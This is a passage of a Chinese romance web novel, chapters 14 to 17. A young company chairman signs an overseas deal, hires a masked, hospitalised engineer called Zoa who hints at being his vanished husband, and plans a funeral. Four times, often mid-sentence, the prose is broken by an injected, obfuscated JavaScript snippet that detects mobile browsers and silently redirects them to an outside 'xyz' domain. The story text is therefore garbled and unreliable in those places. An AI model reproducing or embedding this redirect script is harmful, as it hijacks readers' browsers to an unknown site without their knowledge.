Lanner比预定时间稍晚一些现身,整个人如同行走的光源,耀眼的金毛用发胶固定的一丝不乱,胸前别着一枚造型精巧的胸针。 身后跟着的代表团堪称豪华,清一色奢牌西装,精英气场全开。 伽巧起身,非常礼貌地挨个与他们握手,同时观察每个人的言谈举止。 ——代表团当中,并没有疑似Zoa的人物。 “出席今天签约仪式的,全部都是我司M5(总监)以上的高管。”Lanner握住他微凉的指尖,眼底闪过一抹狡黠,“伽董不满意吗?为何看起来有些……失望?” “没有。”伽巧不着痕迹抽回手,“贵方如此重视,千合甚感荣幸。” 正式签约之前,双方团队已经围绕合约细则展开无数次沟通,确保合约主体没有任何问题。 最终方案确定后,Lanner又追加一条附加合约:将千合作为国内独家代理方,并且给予充分的自主研发权。 这则附加条件,等于拱手将主动权送给千合,往后再不会出现类似锐科的情况。 但是,对Lanner没有半点儿实质性好处。 鬼知道他葫芦里卖的什么药。 正式合约一式两份,双方交换签字。 签完自己面前那份,伽巧接过Lanner已经签好字的合约,在落款处第一次看到Lanner的全名: Lanner·Ji·Arundel。 中间那个‘Ji’属于典型的亚洲拼写,很少在西方人名字里出现。 伽巧握笔的手微微顿了几秒,没由来觉得在意。 各自签完字之后,双方代表说了些早就准备好的场面话,仪式就落幕了。 “呼——” 刚走出签约会场,Lanner抬手用食指勾住领带用力扯开。顺手捋了把一丝不乱的金毛,三两下拨得蓬松又随性,这才长长舒了一口气,对伽巧露出灿烂到闪瞎眼的笑容。 “甲方Lanner结束工作,已经下线。”Lanner如同魔法少女,360°大变身,“接下来,要不要以朋友的身份,赏脸跟我一起共进晚餐?” 伽巧脚步未停,径直走向等候自己的商务车,拒绝得干脆利落,“我不记得跟Lanner先生交过朋友,再见。” “喂喂喂,我为了这次合作忙前忙后,出了多少力气,连个好友位都不配吗?”Lanner追在他后面,惨兮兮捂住胸口抗议,“小伽巧,你怎么比祝南屿还冷漠?” 听到‘祝南屿’三个字,伽巧的脚步骤然顿住,沉静的目光投向金毛,“他跟你,是朋友?” “朋友?no no no~”Lanner暧昧地眨了下右眼,故作娇羞地捧着俊脸说,“我们之间的关系,比朋友更、亲、密、哟~” 比朋友更亲密? 伽巧眸中温度骤降,锐利的目光几乎将Lanner刺穿,带着一股未曾体会的厌烦和……酸涩。 祝南屿人生中曾经出现过亲密的人。 在遇到自己之前还是……之后? [拳头硬了.jpg] “等等,绝对不是你想的那样!” Lanner感受到鲨意,生怕玩火自焚,连忙从口袋里拿出名片。 上面印着伽巧刚才有些在意的全名,大金毛从左往右依次指过去: “Lanner是我的名字,Ji是我的母系姓氏,Arundel是我的父系姓氏。我妈妈的母亲是亚洲人,她还有个美丽的中文名,纪白芷。” 纪白芷? 伽巧第一次听这个名字,却有种奇异的既视感,仿佛在哪里见过类似的名字。 记得祝南屿的奶奶也姓纪,全名叫纪茯苓。 “反应过来了?”Lanner笑容再次灿烂,“我外婆出生于医药世家,喜欢用中药给子女命名,她还有一个妹妹叫……纪茯苓。” 伽巧喃喃,“果然。” “所以~”Lanner拖长调子,洋洋得意说,“我,Lanner·Ji·Arundel,是你家祝祝最尊敬的表哥呦~他小时候,还给我取了个特别可爱的中文名。” “叫什么?” “我姓纪,名字音译为兰纳,所以他叫我纪小兰,还送给我一个很有风格的古董烟袋,你能想象吗?就是电视剧里纪晓岚抽的大烟袋……” 伽巧别开头,唇角扬起难以捕捉的弧度,淡得像转瞬即逝的流星。 祝南屿先生,内心世界过于丰富了。 “唉,真可惜哦~”Lanner注意到伽巧可爱的小动作,摊开手,语气充满遗憾,“我本来想让小祝祝正式替我引荐,那样的话,我就顺理成章听可爱的小伽巧叫我大哥了~” 伽巧慢吞吞眨了下眼睛,认真思考三秒,不懂可惜的点在哪里。 他抬眼看向Lanner,用清晰、平静、毫无起伏的语调叫,“大哥。” Lanner:…… 好特么没有感情的‘大哥’。 用这种语气,恐怕叫‘老公’都不会有心脏dokidoki的悸动,也不知道祝南屿婚后过着什么苦日子。 Lanner默默同情三秒,锲而不舍地再次提出邀约,“现在,可以邀请你共进晚餐吗?” . 装潢低调大气的中式包厢内,环境清幽闲适,红木八仙桌上摆满符合伽巧口味的佳肴。 Lanner姿态随意地坐在对面位置,几杯酒下肚,似乎有些醉了。慵懒地靠在椅背上,碧蓝眼眸波光潋滟,话愈发密了。 “我说小伽巧~光吃饭好无聊,陪哥哥玩点什么吧?” 伽巧慢吞吞放下筷子,匀给他一渺寡淡的眼神。 “你们夫夫俩怎么都用这种眼神看着我,至少应该有一个可爱点吧?” 伽巧嫌他神烦,再次拒绝,“我不玩游戏。” “你对天发誓!发毒誓!” “……”伽巧:[嫌弃.jpg] “陪我玩玩,维系一下薄弱的亲情嘛~”Lanner捧着胸口,一副泫然欲泣的模样。 虽然伽巧不觉得有维系‘亲情’的必要,但Lanner实在太爱演,惹得进来上菜收盘子的服务员都投来异样的眼神,怀疑伽巧跟个傻子一起吃饭。 为了阻止他继续发疯,伽巧勉为其难答应陪他玩五分钟。 “好耶~我们来玩个与印象有关的游戏吧!” Lanner瞬间满血复活,饶有兴致地拿出手机,打开一张每秒闪烁几十次的动图。 伽巧动态视力很好,依稀能分辨出‘傲娇’、‘腹黑’、‘中二’之类的形容词。 “看到了吗?这张动图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432954|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里有各种各样的人物属性,我们轮流为对方截图,说出身边最符合这项属性的人。” 伽巧听他介绍完规则,不禁有些后悔。 这个游戏,听起来就非常枯燥,居然还要浪费五分钟。 “那么,从我先开始。Ready?Go!” Lanner率先截图,屏幕‘咔嚓’一声静止,正中央出现‘开朗’两个黑体加粗的大字。 伽巧没什么兴致,脑海中大概过了下周围人,抬起手敷衍地指了指Lanner。 顶级E人,社交悍匪。 论活泼开朗,能与太阳肩并肩。 “哇哦~你心里‘开朗’的代表居然是我~”Lanner满意地把手机递过去,“还以为你觉得我神烦呢。” “你知道就好。”伽巧面无表情接过,对这个游戏没有报什么希望,指尖随意点了下截图键。 Lanner凑过来一瞧,发现图片定格在‘敏感’两个字,毫不犹豫地回答,“祝祝!” “他???”伽巧由衷感到意外,抬眸看向Lanner。 祝南屿哪个部位敏感?! 而且,为什么这只金毛会知道祝南屿敏感?他们是正经兄弟吗?! “哈哈哈哈哈哈——!你在脑补什么?我指的不是身体层面的敏感。”Lanner看穿伽巧想法,笑得花枝乱颤,捂着肚子解释。“祝祝是我认识的人中,感情最纤细的,能察觉到许多别人感受不到的微小波动。” 确实。 伽巧最近开始整理祝南屿留下的东西,对于丈夫有了全新认知。 可惜……伽巧垂下眼睫。 可惜自己已经没有机会,彻底了解‘祝南屿’。 只能从遗留的物品别人口中窥见一隅,慢慢拼凑出真实的丈夫。 轮到Lanner截图,他恰好选中了‘温柔’两个字。 伽巧声音很轻,带着难以察觉的喑哑,“祝南屿……吧。” “你确定?对你限定的温柔吧。”Lanner带着玩味吐槽,没等伽巧再开口,就把手机塞到他手机,“快五分钟了,再来一局,” 伽巧抱着完成KPI的想法,只想快点结束,随便截了张图。 一个单独的字母,伴随着某种强烈的限制级意味着,出现在屏幕中央—— ‘S’ 伽巧:…… 这是什么18×的糟糕游戏? “S啊?”Lanner托着下巴,冥思苦想好一会儿,才带着几分促狭和调侃给出答案,“Zoa。” “啊?”伽巧再次露出意外的表情。 Zoa,那个印象中刻板、守旧、甚至有些‘舔狗’属性的中年老男人……S? 他究竟怎么跟这个字母扯上关系的? “你在质疑什么?Zoa绝对是主人级别的!”为了让伽巧相信,Lanner从相册里翻出一张最新拍摄的照片。 照片背景是光线昏暗的单人病房,隔着屏幕都能感觉到苍凉和压迫。 一个男人逆光坐在窗边,没有露脸,身上穿着裁剪合体的黑衬衫,扣子一丝不苟系到顶端,骄矜而又禁欲。 纯黑布料裹着宽阔肩背和紧窄的腰,能够感受到蕴藏在衣服之下的蓬勃张力,令人忍不住想要臣服祈求怜爱。 确实,主人级别的。 15.第 15 章 伽巧指尖悬在屏幕上方,放大照片,盯着照片瞳孔有一瞬的收缩。 没想到线上沟通时,打字缓慢又厚颜无耻的Zoa,本人竟然如此……极具侵略性。 明明没有露脸,却散发成年男人的性感与魅力,仿佛一头暂时收起爪牙蛰伏的野兽。 比起Zoa本人,更让伽巧在意的是—— 他目光隔着屏幕,仔细观察Zoa身上的黑色衬衣。 某奢牌四年前的旧款,祝南屿有件一模一样的。 按理说并非私人订制的服装,撞衫挺正常。 但那件衣服的售价昂贵,远远超出普通工薪阶层的承受范围。 而能够把五位数起步的衬衫,当做日常服装的阶层,几乎不会穿过季那么久的衣服。 伽巧记得自己曾经穿过一次,那个版型肩线略宽,比例稍微差点儿就撑不起来。 可穿在照片里的Zoa身上十分熨帖,仿佛按照他的尺寸贴身裁剪,简直…… 像极了祝南屿。 “哟,看那么久?”Lanner声音带着几分戏谑,宝蓝眼眸闪过看好戏的神采,“小伽巧很在意他吗?” 如果再这么发展下去,可怜的小表弟搞不好真会‘正宫变小三’。 哎呀呀,真刺激~! 伽巧倏然收回目光,压下那点儿微不足道的波动,声音恢复平常的疏离。 “之前锐科的事情多亏有他帮忙,我本想当面道,看来他好像……不方便。”他停顿两秒,余光扫过照片背景的单间病房,“病情严重吗?” “严重嘛……”Lanner故意拖长了调子,敏锐地察觉伽巧端起茶杯的手指细微收紧,才慢悠悠补上后半句,“倒是不至于,只是需要时间慢慢休养。如果小伽巧想送一点满含心意的小礼物慰问可怜的孤寡病人,哥哥我很愿意当爱的信使~” . 海外合作项目总算尘埃落定。 伽巧原本打算像之前那样,安安分分呆在幕后当个傀儡花瓶。 但见识过伽巧能力的千合管理层,却开始闹了。 非说能够促成此次合作,伽董功不可没,请他‘亲自’来公司主持大局。 伽巧:…… 行吧,居家办公的好日子结束了。 工作日上午,司机把伽巧送到千合集团总部。 刚拉开车门,还没等伽巧下车,就听到正门厅前方,有个人语气急切,讨好地哀求值班门卫。 “张哥,咱们认识都七、八年了,都是老熟人,你就通融一下放我进去吧?” 黄峥从口袋里拿出厚厚的红包,塞进门卫大哥怀里。 “我从创业阶段就跟着祝董打拼,亲眼看着千合一步步发展起来,这里就是我半个家!这才办完离职两天,就让我回去看一眼吧?” 门卫大哥身材魁梧,抱着手臂绷紧肱二头肌,像一尊门神似的守在打卡闸机前,俯视黄峥的眼神充满鄙夷,“黄总工……哦不对,现在该叫你黄先生了。要是你念着过去的交情,就别为难我一个小小门卫了。你以前从这道门进进出出,啥时候正眼看过我?” 黄峥臊得面红耳赤,嘴唇哆嗦,支支吾吾说不出像样的话。 门卫大哥目视前方,一身凛然正气,“前些天锐科出了那档子事,伽董提醒我们加强安保,绝对不能放‘外人’混进公司。” ‘外人’两个字咬得又重又狠,显然对黄峥在危急时刻背刺,投靠敌方的白眼狼行为耿耿于怀。 “伽董?是他亲自交代的?”黄峥声音因为急切陡然升高,抓住张哥手臂近乎卑微地哀求,“张哥,求求你放我进去见一眼伽董!五分钟,五分钟就好!我不去锐科了,傅清延给的钱我全部还回去了,只要伽董肯给我机会,让我回到千合,我可以自愿降薪,给伽董当牛做马!当……当狗都行!” 保安大哥嫌弃地推开黄峥,还没说话,目光落到他后方,恭敬地叫了声,“伽董,早上好。” 黄峥听到‘伽董’两个字,猛地回头,见伽巧就站在几步开外。 晨风轻轻拂过伽巧发尾,那双干净的眼眸没有任何起伏。 “早上好,工作辛苦。”伽巧客客气气向门卫大哥点头问候,而后看向黄峥,声音明显淡了,“黄先生,你的离职申请我已经签过字了。请问你再次出现在千合,有何贵干?” “伽董,伽董求求你再给我一个机会!我什么都愿意做!”黄峥连滚带爬冲到伽巧面前,却不敢触碰,狼狈地佝偻着腰,身上完全没有昔日的意气风发。 “伽董,千万别信他的鬼话!”门卫大哥皱着眉,气冲冲地说,“他是因为锐科倒台了,业内都知道他背叛老东家的事,不敢给offer才想回到千合。这种人能背叛一次,就能背叛第二次!” “不!我绝对不会背叛伽董!我发誓!我发毒誓!”黄峥举起三根手指指向苍天,仿佛随时会遭雷劈。 伽巧连眉梢都未曾动一下,语气一如平常,“不用发誓,我可以给你机会。” “真、真的吗?”黄峥激动地抬起头,眼中爆发出狂喜的光芒,仿佛看到伽巧身上展开一双圣洁的天使羽翼。 “当然。”伽巧目光平静掠过他的脸,“前提是,你先按照之前的辞职协议,偿还千合三倍违约金。” “……”黄峥想到当初提辞职时,傅清延夸下海口的三倍违约金,脸上瞬间失去血色,身体绝望地瘫软在地。 伽巧没再理会面如死灰的黄峥,径直进入公司里。 今天是千合每月例行招聘的日子。 锐科集团总裁被捕,管理团队分崩离析,公司乱成一锅粥。 后知后觉的小职员一夜之间面临失业危机,像无头苍蝇似的抓住所有机会到处求职。 正好千合刚刚跟海外合作商签约,正值用人之际。 大堂角落的等候区,坐着几个锐科前员工,有的对着玻璃整理领带,有的抓紧时间再刷几道面试题。 听到前台小姐用甜美的声音问候‘伽董,早上好’,几位面试者纷纷看过去,议论和惊叹声如同涟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437109|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漪般散开。 “那位就是千合董事长?真年轻啊……” “天呐,本人比视频还要好看,如果我进入千合,岂不是每天都能看到这张脸?” “不知道待会儿的面试,伽董会不会出席。要是对着这张脸,我可能连名字都忘了。” 人群中,有个应聘设计岗位的员工似乎看呆了,一眼不眨盯着伽巧的眼睛。 伽巧感应到这束目光,转头看过来,上上下下打量那位员工一眼。 “吴有为。”伽巧准确叫出他的名字,鼓励道,“面试加油。” “谢、谢谢伽董。”吴有为攥紧拳头,掌心直冒冷汗。 目送伽巧走近专属电梯,一群人纷纷围到吴有为身边,激动地追问,“老吴,你认识伽董?” “他居然记得你名字!我听说连汪洋科技的老总汪掠,都没被伽董记住名字。你可以啊,怎么做到的?” 吴有为手足无措地挠挠头发,难为情地说,“可能……伽董看过我的档案吧。” ——比如,在锐科的员工证上。 顶层会议室,长条形会议桌两侧坐满千合核心管理层,气氛剑拔弩张。 伽巧坐在董事长位置,安静地听各部门负责人汇报工作。 “……到今天为止,千合正式结束与赵铭及其所属公司长达六年的合作,所有生产链更换新的供应商,新合作方资质、产能、价格,均优于原本的供应商。” 赵铭贪图傅清延给的利益,以为锐科对曙光项目十拿九稳,所以在没有事先通知的情况下,打算把千合要的原材料高价卖给锐科。 结果锐科那边还没有打款就东窗事发,赵铭为了‘大生意’提前囤积的大量材料,突然没了买家。 当初他能够发家,多亏祝南屿帮忙积攒人脉。那些‘人脉’表面不说,背地里都在唾弃赵铭忘恩负义,看准形势疯狂催缴货款,还断了赵名所有借贷渠道。 赵铭拿不到钱就付不起尾款,几次联系千合无果后,被逼到走投无路,只能把原材料低价卖给其他公司——而收购的公司,恰好是千合新供应商。 “虽然原材料的问题解决了,但是黄峥的位置空了,谁来确保技术方向与曙光项目达成一致?海外合作商还等着曙光项目的规划草案。” “确实,总不能把黄峥那个白眼狼请回来吧?” “绝对不行!”蔡汐断然拒绝,“我没办法跟恶心的人共事。” 研发经理灵关一闪,站起来提议,“我有个办法。既然锐科垮了,我们正好把那边的CTO挖过来,以牙还牙!” “锐科的CTO确实有两把刷子,短短四年就带领公司超越千合,伽董你认为呢?” 作壁上观的伽巧突然被cue,慢吞吞提出质疑,“你们认为,锐科后来的发展方向是谁制定的?” “这……” 想到锐科一系列恶意竞争、踩着法律红线的骚操作,众人集体失语。 伽巧环顾四周,淡淡说,“其实,我有一个人选。” 16.第 16 章 伽巧:有件事情想跟你商量。 伽巧:既然你的工作号没有显示职阶,应该不是正式员工吧?愿意来千合吗? Zoa:这的看是公司招我,还是伽董亲自招我。 ——祝南屿没料到,伽巧竟然真的会为了千合‘献身’。 点开伽巧发送的链接,输入密码进入远程会议室。 他事先挡住前置镜头,会议室开启后,屏幕分成明暗两边。 自己这半边没入黑暗,而伽巧坐在光里,背后清风竹林,天高云淡。 阔别四年,记忆中尚未满二十岁的爱人,如今没有太多变化。 只是褪去少年时的青涩,本就美貌的容颜变得无比瑰丽。 腰身更加纤细,比自己离开时清减了不少——瘦得让祝南屿心口一滞。 自己不在的这几年,他受了多少委屈。 祝南屿隔着屏幕,用目光细细品鉴伽巧的脸。 眉宇间,几乎找不到从前被自己日积月累宠溺无度,惯出来的慵懒娇贵,反而藏着一抹难以察觉的哀婉。 美成这样,难怪招来那么多阿猫阿狗的窥伺和觊觎。 伽巧注意到Zoa那边的黑屏,抿了下唇,“你准备这样‘面试’吗?” Zoa声音通过电脑扬声器传过来,像上次那样用了变声软件,“我相貌丑陋,不敢跟伽董同框。” 相貌丑陋? 虽然Zoa说得煞有介事,伽巧却一个字都不信。 “Lanner给我看过照片。”伽巧撩起眼,目光如刃,“我知道你现在什么样。” “哈。” 祝南屿盯着屏幕中的伽巧,唇间溢出一声轻笑。 短短四年,老婆成长了不少,都学会欺诈和唬人了。 Zoa问,“他给你看了哪张照片?” “记不清了。”伽巧别开脸,耳根泛着极淡的绯色,含糊地说,“……好像是张穿黑衣服的。” 小骗子。 祝南屿太清楚娇娇。 对什么都不在乎,记忆力堪比金鱼,最容易忽略细节。 如果真的记不清,哪能说得出穿什么颜色衣服。 除非,Lanner给他看的照片,只有衣服。 退一万步来说,如果Lanner真的不管死活,给伽巧看了Zoa的全身正脸照。 按照伽巧的作风,下一秒就会潜入病房。 祝南屿迅速得出结论,调整摄像头的角度,确认无误后才打开权限。 Zoa那半边屏幕黑暗退散,画面逐渐清晰。 特护病房窗外,一片蓝天白云。 从天气阴晴和影子比例判断,应该跟自己处在差不多的纬度。 窗边,男人逆光坐在轮椅上,身上的灰色衬衫依然是四年前的奢牌旧款。 拍摄角度恰好把他的脸卡在画面之外。 肩线、腰身、修长手指,仿佛照着祝南屿的影子拓印出来。 伽巧直勾勾盯着,呼吸声都变浅了。 “伽董。” 经过处理的沙哑嗓音,唤回伽巧思绪。 “你一直盯着我……”Zoa语调轻慢,尾音故意拖长,“是从我身上看到了谁吗?” “没有。”伽巧否认。 Zoa却不依不饶,追问道,“我像他吗?那真是荣幸。具体哪里像?比如……身材?手?或者……” “你好像误会了。”伽巧打断他,抬眼时目光寡淡,冷静到几乎残酷,“过去那么久,我连他的样子都想不起来。” 整整四年,就连伽巧梦里的祝南屿也越来越模糊,最近只剩一个模模糊糊的轮廓。 “谈正事吧。”伽巧强行把话题引入正轨,“如果你愿意出任千合的CTO,我可以为你提供业内顶格待遇。” Zoa摊手,示意伽巧看背后的病房,“如你所见,我暂时不方便入职。” “我知道。”伽巧之前被他看透过,这次没有准备稿子,反应却更加迅速,“正好我们千合的员工非常适应线上办公,过去四年,我一直跟他们通过远程会议沟通。而且千合的团队不需要内部磨合,工作效率高,从未出现超负荷加班的情况。” 隔着屏幕,祝南屿唇角扬起的弧度,AK.47都压不下去。 伽巧的工作能力超乎想象,只要他愿意,完全可以彻底取代自己。 “伽董似乎误解了我的意思。”Zoa滑动轮椅靠近设备,解释道,“我说不方便‘入职’,如果为你鞠躬尽瘁……随时可以。” “什么意思?”伽巧蹙眉,从没听过这么奇怪的要求,“不入职,只工作?” 说起来,Zoa在Lanner那边的工作模式,似乎也是如此。 ——干外包也能上瘾吗? “不过,我有一个条件。”Zoa声音沉下去。 来了。 伽巧挺直腰背,斟酌应付苛刻条件的谈判技巧。 “如你所见,我是个病患。”Zoa可怜兮兮卖惨,修长手指握紧轮椅扶手,“需要一些……精神慰藉。” “你想怎样?” “请伽董每天‘亲自’抚慰我。” 伽巧:…… 差点忘了。 Zoa是个变态、痴汉、舔狗、厚颜无耻! “如果伽董觉得为难,把我当做那个人的替身也可以。”Zoa‘舔’得十分卑微,“我不介意。” 伽巧更无语了。 好狗血的烂梗。 兴许他脸上的嫌弃太明显,Zoa略显失望地问,“怎么?连当替身的资格都不愿意赏给我?” “哪有什么资格。”伽巧嫌烦,眼底闪过厌腻,“‘替身’本质是寻找相似之人,寄托无处安放的情感。但我对你口中的‘那个人’,本身就没有多少感情。” 自己生性寡淡冷漠,回馈给祝南屿的感情都寥寥无几,哪有富余分给别人? “话别说的太绝,你真的没想过吗?”Zoa声音低低,近乎呓语,“如果那个人回来,你希望他说什么?做什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442525|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >伽巧沉默几秒,身后的竹林被风吹得沙沙作响,几乎淹没他唇角溢出的一声‘嗯’。 从没想过吗?虽然早有预料,但…… 祝南屿撑着轮椅的手,指节用力到发白。 半晌才卸下力气,疲惫地揉了揉眉心。 确实,自己一声不吭就消失了。 伽巧不想他也是活该……等等! 祝南屿突然反应过来,伽巧承认的节点,似乎不是前半句。 ‘你真的没想过吗?如果那个人回来。’ ‘嗯。’ . 稍晚,伽巧邀请千合管理层进入远程会议室,言简意赅的说明情况。 “不愧是伽董,这么快就找到合适的人选。” “能在这种时候临危受命,应该是个很厉害的技术大佬吧?” “业内有资格担任千合CTO的就那么几个,除了黄峥和锐科那位,最近没听说哪位要进行职位变动。”蔡汐手指有节奏的敲击桌面,疑惑地问,“不知道伽董请来的是哪位神圣?我可曾听说过?” 伽巧介绍道,“他是海外合作商代表Lanner引荐的,叫……” 话说到一半,伽巧突然卡壳。 从以前到现在,他对闯入自己世界的人都提不起兴趣。 就连祝南屿,也是最近才开始慢慢了解。 至于Zoa,除了性别为男之外,几乎一无所知。 就连‘Zoa’这个称呼,也不确定是真名还是代号。 “……让他本人跟你们打招呼吧。” 伽巧:[放弃挣扎.jpg] Zoa:你们好。 屏幕里跳出三个字,整个会议室一片沉寂。 与此同时,千合总部高层陷入前所未有的慌乱。 “啊啊啊!Woc!” “你瞎嚷嚷什么?大白天见鬼了!” “真的见鬼了啊啊啊!” 网络部经理陈烁打开‘千合高级牛马八卦群(禁止骂老板)’对话框,这是几位高管背着伽巧拉的小群。 他在群聊里开启共享屏幕,新建一个文档,依次输入‘zoa’三个字母。 范舒安:这个Zoa哪里冒出来的?我在业内混了这么久,从来没听过。 蔡汐:我就是担心这个,伽董今年才24,可别被骗了。 陈烁:不是那个问题,跟你们这群不懂加密语言的真难解释!!! 陈烁气急败坏地敲击键盘,将每个字母从字母表上往前推一位,同时发送语音进行详细讲解。 “像这样,Z排在字母表26位,第25位是Y。O排在15位,以此类推……” 分别递进之后,z、o、a三个字母变成y、n、z。 网络部经理选中文字,加入倒叙代码后。 在大家的注视中,原本的英文名变成一个熟悉的拼音缩写—— Z、N、Y 陈烁:现在眼熟吗? “……” “闹鬼啊!” 17.第 17 章 曙光项目一系列工作逐渐步入正轨,按理来讲,已经没有伽巧这个‘一无是处的傀儡花瓶’能做的事情。 然而…… “伽董。” 低哑的声音通过蓝牙耳机传入伽巧耳中,带着点儿刻意的委屈。 “你太冷淡,会影响我工作的积极性。” Zoa没有办理入职手续,却已经尽职尽责为千合卖命好几天。 原以为这么奇怪的工作模式,团队肯定很难习惯。 万万没想到,Zoa出现瞬间,所有人0.1秒接受了这个设定。 工作过程中,Zoa分配的工作他们毫无异议的认真执行,甚至没有人过问这个男人的真实身份。 真正开始合作,伽巧发现Zoa工作能力比自己想象中还要厉害,短短两天就带领大家做出曙光项目的初步草案,而且顺利通过。 能请到这么厉害的人物,本来应该烧高香。 如果这位不把‘关爱废物董事长’当做日常任务的话—— “昨天提交的工作记录,伽董看过了吗?” “看过了。”伽巧语气透着几分无奈,“你每天那么多工作,没必要特意整理记录发给我。” 最难搞的是,Zoa似乎看出伽巧对核心工作一窍不通,每次都会在记录里做详细的批注。 看样子很想教会自己如何成为称职的领导了。 “在其位司其职,向领导汇报工作是我本分的工作。” “话虽如此……”向我这个傀儡汇报,不过浪费时间罢了。 过去四年,千合遵循祝南屿留下的框架运转。 伽巧手握股权,坐着董事长的位置,说到底只是个‘代理’而已。 这件事原本无所谓。 毕竟整个商圈都知道,千合是祝南屿留给伽巧的‘养老保险’,他只需要在家乖乖数钱就好。 可前些天面临锐科的威胁时,众位高管明知道形势非常不利,依然‘誓与千合共存亡’,让伽巧多少有些动摇。 过去四年他始终觉得,只要守住祝南屿留下的东西就够了。 最近才慢慢感受到,自己是千合现任董事长,身后有那么多员工等着陪他‘做大做强’。 Zoa那边传来键盘敲击声,屏幕中弹出系统提示: [用户Zoa申请共享你的电脑。] “我现在正闲,报告里没写清楚的部分,这就为伽董详细讲解。”见伽巧迟迟没有同意共享申请,Zoa轻描淡写地说,“不同意的话……稍微等两分钟,我写个代码入侵你电脑。” “停!”伽巧见识过他的本事,连忙同意共享申请。 虽然自己的办公电脑没有储存重要文件,也没有连通公司内网。 但他说入侵就入侵,仿佛要把自己扒光了似的。 野蛮!无耻!仗技欺人! Zoa通过屏幕共享,远程打开昨天发给伽巧的工作记录,发现确实有阅读和编辑的记录。 “有哪里看不明白吗?”Zoa满心关切。 “没有。”伽巧含糊地说,“大概能看懂。” 其实,某个第一次接触核心工作的‘文盲’,光是搞懂报告里那些专业术语,就熬到半夜。 凭自己的资质,想彻底搞懂这份报告,肯定要花很多时间。 Zoa还有更重要更有价值的工作,没必要在自己身上白白浪费时间。 Zoa瞥向屏幕中的伽巧。 虽然面上一片沉静,但藏在头发里若隐若现的耳根微微泛红,端着茶杯的手指无意识绞紧。 又在逞强了。 “曙光项目是伽董一手促成的,四舍五入也算你的亲生骨肉。”Zoa叹了口气,“如果你不想深度介入,我也不能强求。” “亲生……”伽巧一时失语。 记得结婚后,祝南屿因为抽了整整两个月时间度蜜月,有段时间工作非常忙碌。 往往早上出门时伽巧还没醒,晚上回到家他已经睡了。 伽巧没有朋友,又不喜欢出门,白天总是一个人呆在家里。 祝南屿怕他无聊,提议养一只小宠物。 “不要。”伽巧摇摇头,“我听他们说,养小动物要像对自己孩子一样,太麻烦了。你又不能生,我为什么要学会养孩子?” 这清晰的逻辑让祝南屿愣了三秒,笑着揉揉伽巧柔软的头发,“如果我生,你就愿意养?” “……?”伽巧拨开祝南屿的手,缓缓低头,盯着祝南屿的腹肌瞧了会儿,“等等,你该不会……真的能生吧?” “万一技术突破了呢?”祝南屿伸手过来,捏捏伽巧的脸,“生个像你的宝宝,漂亮又可爱,似乎也不错。” 即使知道祝南屿的话,开玩笑的成分居多。 伽巧却当真刷了几个育儿视频,多少理解人类对亲生骨肉的爱意。 沉默半分钟后,伽巧动了动鼠标,挪到第二行某个位置。 “这个部分,麻烦详细说明一下。” Zoa声音明显带着笑意,“遵命。” 结果,说是给Zoa提供慰藉,反倒给他增加了额外的工作。 好像……有点虐待病患。 想到Zoa还在住院,听Lanner的意思,短期内没办法出院。 Lanner那只金毛绝对是精神污染级别,伽巧刚想到他,立刻出现神烦的幻听—— ‘如果小伽巧想送一点满含心意的小礼物慰问可怜的孤寡病人’。 伽巧思考几秒,打开搜索软件,慢吞吞输入: 慰问病人应该送什么礼物? . 工作暂时告一段落,伽巧抽出时间处理‘私事’。 ——主要是祝南屿的葬礼。 葬礼时间拟定于10月中旬,办理死亡证明的最后期限。 伽巧雇佣了专业的丧葬团队,预算很充裕,因此需要亲属处理的事情不多。 但拦不住‘亲属’非要帮忙。 从葬礼开始筹备起,祝南屿的两个‘好叔叔’祝福禄和祝兴旺,非要拖家带口过来帮忙,拦都拦不住。 葬礼每个细节,他们必须面面俱到的全部过问,尤其是宣读遗嘱环节。 即使负责公开遗嘱的律师,再三强调公证过的遗嘱只有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451561|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份。祝家人压根不死心,非要找到伽巧口中‘修改过’的遗嘱。 一旦遇到正事,两个关心侄子后事的叔叔,完全派不上用处。 “遗照啊……”祝兴旺被负责人问住了,假装很忙地到处翻找,没找到关于祝南屿的任何照片。 